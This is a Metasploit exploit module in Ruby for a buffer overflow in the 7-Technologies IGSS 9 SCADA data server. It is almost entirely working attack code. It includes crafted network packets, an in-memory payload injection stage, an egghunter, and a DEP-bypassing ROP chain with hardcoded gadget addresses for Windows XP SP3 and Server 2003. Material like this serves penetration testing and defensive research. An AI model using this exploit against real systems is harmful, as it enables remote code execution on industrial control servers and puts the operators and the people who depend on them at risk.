### $Id: igss9_igssdataserver_rename.rb 12886 2011-06-09 06:04:04Z sinn3r $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = NormalRanking	include Msf::Exploit::Remote::Tcp	include Msf::Exploit::Remote::Egghunter	def initialize(info={})		super(update_info(info,			'Name'           => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",			'Description'    => %q{					This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying				a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,				a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,				which results arbitrary code execution under the context of the user.				The attack is carried out in three stages.  The first stage sends the final payload to				IGSSdataServer.exe, which will remain in memory.  The second stage sends the Add command				so the process can find a valid ID for the Rename command.  The last stage then triggers				the vulnerability with the Rename command, and uses an egghunter to search for the				shellcode that we sent in stage 1.  The use of egghunter appears to be necessary due to				the small buffer size, which cannot even contain our ROP chain and the final payload.			},			'License'        => MSF_LICENSE,			'Version'        => "$Revision: 12886 $",			'Author'         =>				[					'Luigi Auriemma <aluigi[at]autistici.org>',  #Initial discovery, poc					'sinn3r',                                    #Metasploit				],			'References'     =>				[					['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],				],			'Payload'        =>				{					'BadChars'        => "/x00",					'StackAdjustment' => -3500,				},			'DefaultOptions'  =>				{					'ExitFunction' => "seh",				},			'Platform'       => 'win',			'Targets'        =>				[					[						'Windows XP SP3',						{							'Ret'          => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll							'RopOffset'    => 68,         #Offset to the ROP chain							'Offset'       => 500,        #Offset to SE Handler (stack pivot)							'Max'          => 8000,       #Max buffer size						}					],					[						'Windows Server 2003 SP2/R2 SP2',						{							'Ret'       => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll							'RopOffset' => 76,         #Offset to the ROP chain							'Offset'    => 500,        #Offset to SE Handler (stack pivot)							'Max'       => 8000,       #Max buffer size						}					]				],			'Privileged'     => false,			'DisclosureDate' => "Mar 24 2011"))						register_options(				[					Opt::RPORT(12401, false),				]			)	end	#We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before	#triggering the vulnerable code path we're trying to hit.  Without this, we'll just hit	#"FAILED renameDicRec.  ID not found %s" (logText function).	def add_template(id)		buf  = ''		buf << "/x9b/x00"  #Packet size		buf << "/x01/x00/x34/x12"		buf << "/x07"      #Opcode		buf << "/x00/x00/x00/x00/x00/x00/x00"		buf << "/x01"      #Flag		buf << "/x00/x00/x00"		buf << "/x04"      #Command (add)		buf << "/x00/x00/x00"		buf << id		buf << "/x00"		buf << "/x00"*31		buf << "/x78"		buf << "/x00"*63		buf << "/x78"		buf << "/x00"*28		connect		sock.put(buf)		print_status("Sending ADD command to #{datastore['RHOST']}")		res = sock.recv(1024)		disconnect		return res	end	#Since we don't have a lot of space on the stack when we trigger the overflow, we send a	#separate packet that contains our final payload, and let egghunter look for it later in memory	def inject_payload(my_payload)		buf  = ''		buf << "/x01/x00/x34/x12"		buf << "/x0D"  #Opcode		buf << "/x00/x00/x00/x00/x00/x00/x00"		buf << "/x01"  #Flag		buf << "/x00/x00/x00"		buf << "/x01"  #Command (ListAll)		buf << "/x00/x00/x00"		buf << my_payload		buf << Rex::Text.rand_text_alpha(1024-my_payload.length)		buf << "/x00"*130		#Packet size		buf_size = [buf.length + 2].pack('v')		buf = buf_size + buf		connect		sock.put(buf)		print_status("Injecting payload in memory to #{datastore['RHOST']}")		disconnect	end	#It's definitely junk	def junk		return rand_text(4).unpack("L")[0].to_i	end	def sploit_rename(id)		#Egghunter is used because we don't really have a lot of space on the stack		#to fit the ROP chain and a larger payload		eggoptions =		{			:checksum  => true,			:eggtag    => 'W00T',			:depmethod => 'virtualprotect',			:depreg    => 'esi'		}		hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)		#depreg  (Put VirtualProtect in ESI)		esi  = "/x81/xf6/x16/x1b/x5f/x5e"  #XOR ESI, 0x5E5F1B16		esi << "/x3e/x8b/x36"              #MOV ESI, DWORD PTR DS:[ESI]		#Put depreg alignment		hunter = esi + hunter		#Send final payload first, and let egghunter look for it		inject_payload(p)		#Max ROP chain size we can use is 406 bytes		rop  = [			:xchg_esp_ebp,			#0x59ABA24B,  #PUSH ESP # POP EBP # RETN  [dbghelp.dll]			junk,			junk,			junk,			junk,			0x1B76A59E,  #XCHG EAX,EBP # RETN  [dao360.dll]			0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]			:add_eax_100,			#0x1B09FA13,  #ADD EAX,100 # RETN 0C  [MSJET40.DLL]			#VirtualProtect Argument ([0x540214])			:xchg_eax_ecx,			junk,			junk,			junk,			:pop_eax,			0x3BABFD6D,  #0x3BABFD6D xor 0x3BFFFF79			0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]			0x1b73f3bd,  #MOV EAX,DWORD PTR DS:[EAX] # RETN  [dao360.dll]			:xchg_eax_ecx,			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]			#Retn:			:xchg_eax_esi,			#0x1B0505C1,  #PUSH EAX # POP ESI # RETN 4  [MSJET40.DLL]			0x1B8260DD,  #ADD EAX,20 # RETN  [Module : msjtes40.dll]			junk,			0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]			0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]			0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]			:xchg_eax_ecx,			:mov_eax_esi_pop_esi,			#0x1B03AD44,  #MOV EAX,ESI # POP ESI # RETN  [MSJET40.DLL]			0x5E0B1902,  #:depreg initial value to xor			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]			#Shellcode:			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]			#Size (100 bytes -- enough for egghunter)			:xchg_eax_ecx,			:pop_eax,			:size_xor,			0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]			:xchg_eax_ecx,			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]			#newProtect (0x40):			:xchg_eax_ecx,			:pop_eax,			0x3BFFFF39,  #0x3BFFFF39 xor 0x3BFFFF79			0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]			:xchg_eax_ecx,			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]			#oldProtect			0x1B731395,  #POP ECX # RETN  [dao360.dll]			0x1B82B410,  #.data section (WR) in msjtes40.dll			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]			#Align the rewind part			0x1B829E86,  # ADD EAX,0C # RETN  [msjtes40.dll]			#Rewind			:rewind,			#Execute			0x1B72A833,  #XCHG EAX,ESP # RETN  [dao360.dll]		]		#OS specific gadgets		rop.map! do |gadget|			if gadget == :xchg_esp_ebp				(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223			elsif gadget == :add_eax_100				(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3			elsif gadget == :xchg_eax_esi				(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71			elsif gadget == :xchg_eax_ecx				(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D			elsif gadget == :mov_eax_esi_pop_esi				(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735			elsif gadget == :pop_eax				(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169			elsif gadget == :size_xor				(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D			elsif gadget == :rewind				(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741			else				gadget			end		end		rop = rop.pack('V*')		sploit  = ''		sploit << Rex::Text.rand_text_alpha(target['RopOffset'])		sploit << rop		sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)		sploit << [target.ret].pack('V')  #Pivot		sploit << make_nops(12)  #Padding		sploit << hunter		sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)		#Create the packet with our naughty payload		pkt  = "/x00/x04"  #Funky size causes overflow		pkt << "/x01/x00/x34/x12"		pkt << "/x07"      #Opcode		pkt << "/x00/x00/x00/x00/x00/x00/x00"		pkt << "/x02"      #Flag		pkt << "/x00/x00/x00"		pkt << "/x02"      #Command		pkt << "/x00/x00/x00"		pkt << id		pkt << "/x00"		pkt << sploit		connect		print_status("Sending malicious request to #{datastore['RHOST']}")		sock.put(pkt)		handler		#egghunter takes a few seconds, wait a bit before disconnect		select(nil, nil, nil, 3)		disconnect	end	def exploit		id = Rex::Text.rand_text_alpha(8)		res = add_template(id)		if res !~ /Report/i			print_error("Failed to add template:#{res}")			return		end		sploit_rename(id)	endend